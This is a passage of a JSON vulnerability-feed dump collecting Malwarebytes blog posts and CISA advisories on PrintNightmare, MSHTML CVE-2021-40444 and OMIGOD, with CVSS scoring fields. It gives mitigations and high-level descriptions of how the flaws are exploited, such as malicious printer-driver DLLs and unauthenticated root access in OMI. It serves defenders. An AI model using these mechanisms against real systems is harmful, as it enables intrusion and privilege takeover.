you\u2019re done. Fast forward another week and a researcher announced he'd found a way to exploit the vulnerability to achieve both local privilege escalation and remote code execution. This actually happens a lot when researchers reverse engineer a patch.\n\nOnly in this case it had an unexpected consequence. A different team of researchers had also found an RCE vulnerability in the Print Spooler service. They called theirs PrintNightmare and believed it was the same as CVE-2021-1675. They were working on a presentation to be held at the Black Hat security conference. But now they feared that the other team had stumbled over the same vulnerability, so they published their work, believing it was covered by the patch already released by Microsoft.\n\nBut the patch for CVE-2021-1675 didn't seem to work against the PrintNightmare vulnerability. It appeared that PrintNightmare and CVE-2021-1675 were in fact two very similar but different vulnerabilities in the Print Spooler.\n\nAnd with that, it looked as if the PrintNightmare team had, unwittingly, disclosed a new 0-day vulnerability irresponsibly. (Disclosure of vulnerabilities is considered responsible if a vendor is given enough time to issue a patch.)\n\nSince then, some security researchers have argued that CVE-2021-1675 and PrintNightmare are the same, and others have reported that the CVE-2021-1675 patch works on _some_ systems.\n\n> [#PrintNightmare](<https://twitter.com/hashtag/PrintNightmare?src=hash&ref_src=twsrc%5Etfw>) / CVE-2021-1675 - It appears patches might be effective on systems that are not domain controllers. RpcAddPrinterDriverEx call as non-admin fails with access denied against fully patched Server 2016 and 2019 non-DC, but after dcpromo the exploit works again. \n [pic.twitter.com/USetUXUzXN](<https://t.co/USetUXUzXN>)\n> \n> -- Stan Hegt (@StanHacked) [July 1, 2021](<https://twitter.com/StanHacked/status/1410405688766042115?ref_src=twsrc%5Etfw>)\n\nWhether they are the same or not, what is not in doubt is that there are live Windows systems where PrintNightmare cannot be patched. And unfortunately, it seems that the systems where the patch doesn't work are Windows Domain Controllers, which is very much the worst case scenario. \n\n### PrintNightmare\n\nThe Print Spooler service is embedded in the Windows operating system and manages the printing process. It is running by default on most Windows machines, including Active Directory servers.\n\nIt handles preliminary functions of finding and loading the print driver, creating print jobs, and then ultimately printing. This service has been around \u201cforever\u201d and it has been a fruitful hunting ground for vulnerabilities, with many flaws being found and fixed over the years. Remember [Stuxnet](<https://blog.malwarebytes.com/threat-analysis/2013/11/stuxnet-new-light-through-old-windows/>)? Stuxnet also exploited a vulnerability in the Print Spooler service as part of the set of vulnerabilities the worm used to spread.\n\nPrintNightmare can be triggered by an unprivileged user attempting to load a malicious driver remotely. Using the vulnerability, researchers have been able to gain SYSTEM privileges, and achieved remote code execution with the highest privileges on a fully patched system.\n\nTo exploit the flaw, attackers would first have to gain access to a network with a vulnerable machine. Although this provides some measure of protection, it is worth noting that there are underground markets where criminals can purchase this kind of access for a few dollars.\n\nIf they can secure any kind of access, they can potentially use PrintNightmare to turn a normal user into an all-powerful Domain Admin. As a Domain Admin they could then act almost with impunity, spreading ransomware, deleting backups and even disabling security software.\n\n### Mitigation\n\nConsidering the large number of machines that may be vulnerable to PrintNightmare, and that several methods to exploit the vulnerability have been published, it seems likely there will soon be malicious use-cases for this vulnerability.\n\nThere are a few things you can do until the vulnerability is patched. Microsoft will probably try to patch the vulnerability before next patch Tuesday (July 12), but until then you can:\n\n * Disable the Print Spooler service on machines that do not need it. Please note that stopping the service without disabling may not be enough.\n * For the systems that do need the Print Spooler service to be running make sure they are not exposed to the internet.\n\nI realize the above will not be easy or even feasible in every case. For those machines that need the Print Spooler service and also need to be accessible from outside the LAN, very carefully limit and [monitor](<https://support.malwarebytes.com/hc/en-us/articles/360056829274-Configure-Brute-Force-Protection-in-Malwarebytes-Nebula>) access events and permissions. Also at all costs avoid running the Print Spooler service on any domain controllers.\n\nFor further measures it is good to know that the exploit works by dropping a DLL in a subdirectory under C:\\Windows\\System32\\spool\\drivers, so system administrators can create a \u201cDeny to modify\u201d rule for that directory and its subdirectories so that even the SYSTEM account can not place a new DLL in them.\n\nThis remains a developing situation and we will update this article if more information becomes available.\n\n### Update July 2, 2021\n\nMicrosoft acknowledged this vulnerability and it has been assigned [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). In their description Microsoft also provides an extra workaround besides disabling the Print Spooler service.\n\n**Disable inbound remote printing through Group Policy**\n\nYou can also configure the settings via Group Policy as follows:\n\n * Computer Configuration / Administrative Templates / Printers\n * Disable the \u201cAllow Print Spooler to accept client connections:\u201d policy to block remote attacks.\n\n**Impact of workaround** This policy will block the remote attack vector by preventing inbound remote printing operations. The system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\nThe post [PrintNightmare 0-day can be used to take over Windows domain controllers](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T14:08:26", "type": "malwarebytes", "title": "PrintNightmare 0-day can be used to take over Windows domain controllers", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-01T14:08:26", "id": "MALWAREBYTES:DA59FECA8327C8353EA012EA1B957C7E", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T12:35:46", "description": "I doubt if there has ever been a more appropriate nickname for a vulnerable service than PrintNightmare. There must be a whole host of people in Redmond having nightmares about the Windows Print Spooler service by now.\n\nPrintNightmare is the name of a set of vulnerabilities that allow a standard user on a Windows network to execute arbitrary code on an affected machine (including domain controllers) as SYSTEM, allowing them to elevate their privileges as far as domain admin. Users trigger the flaw by simply feeding a vulnerable machine a malicious printer driver. The problem was made worse by [confusion](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) around whether PrintNightmare was a known, patched problem or an entirely new problem. In the end it turned out to be a bit of both.\n\n### What happened?\n\nIn June, Microsoft patched a vulnerability in the Windows Print Spooler that was listed as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>). At first it was classified as an elevation of privilege (EoP) vulnerability. Which means that someone with limited access to a system could raise their privilege level, giving them more power over the affected system. This type of vulnerability is serious, especially when it is found in a widely used service like the Windows Print Spooler. A few weeks after the patch Microsoft raised the level of seriousness to a remote code execution (RCE) vulnerability. RCE vulnerabilities allow a malicious actor to execute their code on a different machine on the same network.\n\nIn a rush to be the first to publish a proof-of-concept (PoC), researchers published a write-up and a demo exploit to demonstrate the vulnerability. Only to find out they had alerted the world to a new 0-day vulnerability by accident. This vulnerability listed as [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) was introduced under the name PrintNightmare.\n\nOminously, the researchers behind PrintNightmare predicted that the Print Spooler, which has seen its fair share of problems in the past, would be a fertile ground for further discoveries.\n\nAt the beginning of July, Microsoft issued a set of out-of-band patches to fix this Windows Print Spooler RCE vulnerability. Soon enough, several researchers figured out that local privilege escalation (LPE) still worked. This means that threat actors and already active malware can still exploit the vulnerability to gain SYSTEM privileges. In a demo, [Benjamin Delpy](<https://twitter.com/gentilkiwi>) showed that the update failed to fix vulnerable systems that use certain settings for a feature called Point and Print, which makes it easier for network users to obtain the printer drivers they need.\n\nOn July 13 the Cybersecurity and Infrastructure Security Agency (CISA) issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it became aware of multiple threat actors exploiting PrintNightmare.\n\nAlso in July, [CrowdStrike](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) identified Magniber ransomware attempting to use a known PrintNightmare vulnerability to compromise victims.\n\n### An end to the nightmare?\n\nIn the August 10 [Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>) update, the Print Spooler service was subject to _yet more_ patching, and Microsoft said that this time its patch should address all publicly documented security problems with the service.\n\nIn an unusual breaking change, one part of the update made admin rights required before using the Windows Point and Print feature.\n\n### Just one day later\n\nOn August 11, Microsoft released information about [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>), yet another 0-day that allows local attackers to gain SYSTEM privileges on a computer. Again, it was security researcher Benjamin Delpy who [demonstrated](<https://vimeo.com/581584478>) the vulnerability, showing that threat actors can still gain SYSTEM privileges simply by connecting to a remote print server.\n\n### Mitigation\n\nThe workaround offered by Microsoft is stopping and disabling the Print Spooler service, although at this point you may be seriously considering a revival of the paperless office idea. So:\n\n * Disable the Print Spooler service on machines that do not need it. Please note that stopping the service without disabling may not be enough.\n * For the systems that do need the Print Spooler service to be running make sure they are not exposed to the Internet.\n\nMicrosoft says it is investigating the vulnerability and working on (yet another) security update.\n\nLike I said [yesterday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>): To be continued.\n\nThe post [Microsoft's PrintNightmare continues, shrugs off Patch Tuesday fixes](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T11:30:26", "type": "malwarebytes", "title": "Microsoft\u2019s PrintNightmare continues, shrugs off Patch Tuesday fixes", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-08-12T11:30:26", "id": "MALWAREBYTES:7F8FC685D6EFDE8FC4909FDA86D496A5", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-17T16:35:06", "description": "The September 2021 Patch Tuesday could be remembered as the _final_ patching attempt in the PrintNightmare\u2026 nightmare. The ease with which the vulnerabilities [shrugged off the August patches](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/>) doesn\u2019t look to get a rerun. So far we haven\u2019t seen any indications that this patch is so easy to circumvent.\n\nThe total count of fixes for this Patch Tuesday tallies up to 86, including 26 for Microsoft Edge alone. Only a few of these vulnerabilities are listed as zero-days and two of them are "old friends". There is a third, less-likely-to-be-exploited one, and then we get to introduce a whole new set of vulnerabilities nicknamed OMIGOD, for reasons that will become obvious.\n\nAzure was the subject of five CVE\u2019s, one of them listed as critical. The four that affect the Open Management Infrastructure (OMI) were found by researchers, grouped together and received the nickname OMIGOD.\n\n### PrintNightmare\n\nPrintNightmare is the name of a set of vulnerabilities that allow a standard user on a Windows network to execute arbitrary code on an affected machine (including domain controllers) as SYSTEM, allowing them to elevate their privileges as far as domain admin. Users trigger the flaw by simply feeding a malicious printer driver to a vulnerable machine, and could use their new-found superpowers to install programs; view, change, or delete data; or create new accounts with full user rights.\n\nThe problem was made worse by significant [confusion](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) about whether PrintNightmare was a known, patched problem or an entirely new problem, and by repeated, at best partially-successful, attempts to patch it.\n\nThis month, Microsoft patched the remaining Print Spooler vulnerabilities under [CVE-2021-36958](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36958>). Fingers crossed.\n\n### MSHTML\n\nThis zero-day vulnerability that felt like a ghost from the past (it involved ActiveX, remember that?) was only [found last week](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/>), but has attracted significant attention. It was listed as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), a Remote Code Execution (RCE) vulnerability in Microsoft MSHTML. \n\nThreat actors were sharing PoCs, tutorials and exploits on hacking forums, so that every script kiddy and wannabe hacker was able to follow step-by-step instructions in order to launch their own attacks. Microsoft published mitigation instructions that disabled the installation of new ActiveX controls, but this turned out to be easy to work around for attackers.\n\nGiven the short window of opportunity, there was some doubt about whether a fix would be included in this Patch Tuesday, but it looks like Microsoft managed to pull it off.\n\n### DNS elevation of privilege vulnerability\n\nThis vulnerability was listed as [CVE-2021-36968](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36968>) and affects systems running Windows Server 2008 R2 SP1, SP2 and Windows 7 SP1. It exists due to an application that does not properly impose security restrictions in Windows DNS. The vulnerability is listed as a zero-day because it has been publicly disclosed, not because it is actively being exploited.\n\nMicrosoft says that exploitation is \u201cless likely\u201d, perhaps because it requires initial authentication and can only be exploited locally. If these conditions are met this bug can be used to accomplish elevation of privilege (EoP). \n\n### OMIGOD\n\nOMIGOD is the name for a set of four vulnerabilities in the Open Management Infrastructure (OMI) that you will find embedded in many popular Azure services. The CVEs are:\n\n * [CVE-2021-38647](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38647>) OMI RCE Vulnerability with a [CVSS score](<https://blog.malwarebytes.com/malwarebytes-news/2020/05/how-cvss-works-characterizing-and-scoring-vulnerabilities/>) of 9.8 out of 10.\n * [CVE-2021-38648](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648>) Open Management Infrastructure Elevation of Privilege Vulnerability\n * [CVE-2021-38645](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38645>) Open Management Infrastructure Elevation of Privilege Vulnerability\n * [CVE-2021-38649](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38649>) Open Management Infrastructure Elevation of Privilege Vulnerability\n\nThe [researchers](<https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution>) that discovered the vulnerabilities consider OMIGOD to be a result of the supply-chain risks that come with using open-source code:\n\n> Wiz\u2019s research team recently discovered a series of alarming vulnerabilities that highlight the supply chain risk of open source code, particularly for customers of cloud computing services.\n\nOMI runs as root (the highest privilege level) and is activated within Azure when users enable certain services, like distributed logging, or other management tools and services. It's likely that many users aren't even aware they have it running.\n\nThe RCE vulnerability (CVE-2021-38647) can be exploited in situations where the OMI ports are accessible to the Internet to allow for remote management. In this configuration, any user can communicate with it using a UNIX socket or via an HTTP API, and any user can abuse it to remotely execute code or escalate privileges.\n\nA coding mistake means that any incoming request to the service _without_ an authorization header has its privileges default to uid=0, gid=0, which is root. \n \nOMIGOD, right?\n\nThe researchers report that the flaw can only be used to remotely takeover a target when OMI exposes the HTTPS management port externally. This is the default configuration when installed standalone and in Azure Configuration Management or System Center Operations Manager (SCOM). Other Azure services (such as Log Analytics) do not expose this port, so in those cases the scope is limited to local privilege escalation.\n\nThey advise all Azure customers to connect to their Azure VMs and run the commands below in their terminal to ensure OMI is updated to the latest version:\n\n * For Debian systems (e.g., Ubuntu): `dpkg -l omi`\n * For Redhat based system (e.g., Fedora, CentOS, RHEL): `rpm -qa omi`\n\nIf OMI isn\u2019t installed, the commands won't return any results, and your machine isn\u2019t vulnerable. Version 1.6.8.1 is the patched version. All earlier versions need to be patched.\n\n## Update September 17, 2021\n\nAfter a proof-of-concept exploit was published on code hosting website GitHub, attackers we re noticed to be looking for Linux servers running on Microsoft\u2019s Azure cloud infrastructure. These systems are vulnerable to the security flaw called OMIGOD.\n\nAccording to reports from security researchers the attackers use the OMIGOD exploit, to deploy malware that ensnares the hacked server into cryptomining or DDoS botnets.\n\nThe post [[updated] Patch now! PrintNightmare over, MSHTML fixed, a new horror appears \u2026 OMIGOD](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-printnightmare-over-mshtml-fixed-a-new-horror-appears-omigod/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-09-15T13:19:48", "type": "malwarebytes", "title": "[updated] Patch now! PrintNightmare over, MSHTML fixed, a new horror appears \u2026 OMIGOD", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-36958", "CVE-2021-36968", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444"], "modified": "2021-09-15T13:19:48", "id": "MALWAREBYTES:76333D1F0FCAFD79FA2EDD4A4CAFBB38", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-printnightmare-over-mshtml-fixed-a-new-horror-appears-omigod/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-11-26T18:09:51", "description": "Microsoft has released mitigations and workarounds to address a remote code execution vulnerability (CVE-2021-40444) in Microsoft Windows. Exploitation of this vulnerability may allow a remote attacker to take control of an affected system. This vulnerability has been detected in exploits in the wild. \n\nCISA encourages users and administrators to review [Microsoft\u2019s advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444 >) and to implement the mitigations and workarounds.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/microsoft-releases-mitigations-and-workarounds-cve-2021-40444>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-07T00:00:00", "type": "cisa", "title": "Microsoft Releases Mitigations and Workarounds for CVE-2021-40444 ", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-07T00:00:00", "id": "CISA:C70D91615E3DC8B589B493118D474566", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/microsoft-releases-mitigations-and-workarounds-cve-2021-40444", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-08T18:12:56", "description": "Microsoft has released [out-of-band security updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) to address a remote code execution (RCE) vulnerability\u2014known as PrintNightmare (CVE-2021-34527)\u2014in the Windows Print spooler service. According to the CERT Coordination Center (CERT/CC), \u201cThe Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system.\u201d\n\nThe updates are cumulative and contain all previous fixes as well as protections for CVE-2021-1675. The updates do not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016\u2014Microsoft states updates for these versions are forthcoming. Note: According to CERT/CC, \u201cthe Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant.\u201d See [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) for workarounds for the LPE variant.\n\nCISA encourages users and administrators to review the [Microsoft Security Updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) as well as [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds. For additional background, see [CISA\u2019s initial Current Activity on PrintNightmare](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "cisa", "title": "Microsoft Releases Out-of-Band Security Updates for PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "CISA:6C836D217FB0329B2D68AD71789D1BB0", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T18:09:13", "description": "_(Updated July 2, 2021) _For new information and mitigations, see [Microsoft's updated guidance for the Print spooler vulnerability (CVE-2021-34527)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n_(Updated July 1, 2021) _See [Microsoft's new guidance for the Print spooler vulnerability (CVE-2021-34527)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) and apply the necessary workarounds. \n\n_(Original post June 30, 2021)_ The CERT Coordination Center (CERT/CC) has released a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) for a critical remote code execution vulnerability in the Windows Print spooler service, noting: \u201cwhile Microsoft has released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675.\u201d An attacker can exploit this vulnerability\u2014nicknamed PrintNightmare\u2014to take control of an affected system.\n\nCISA encourages administrators to disable the Windows Print spooler service in Domain Controllers and systems that do not print. Additionally, administrators should employ the following best practice from Microsoft\u2019s [how-to guides](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-print-spooler>), published January 11, 2021: \u201cDue to the possibility for exposure, domain controllers and Active Directory admin systems need to have the Print spooler service disabled. The recommended way to do this is using a Group Policy Object.\u201d \n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-30T00:00:00", "type": "cisa", "title": "PrintNightmare, Critical Windows Print Spooler Vulnerability ", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-02T00:00:00", "id": "CISA:367C27124C09604830E0725F5F3123F7", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-07-21T17:22:44", "description": "Microsoft MSHTML contains a unspecified vulnerability which allows for remote code execution.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft MSHTML Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-40444", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-06T20:18:17", "description": "Microsoft Windows Print Spooler contains an unspecified vulnerability that allows for remote code execution.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, 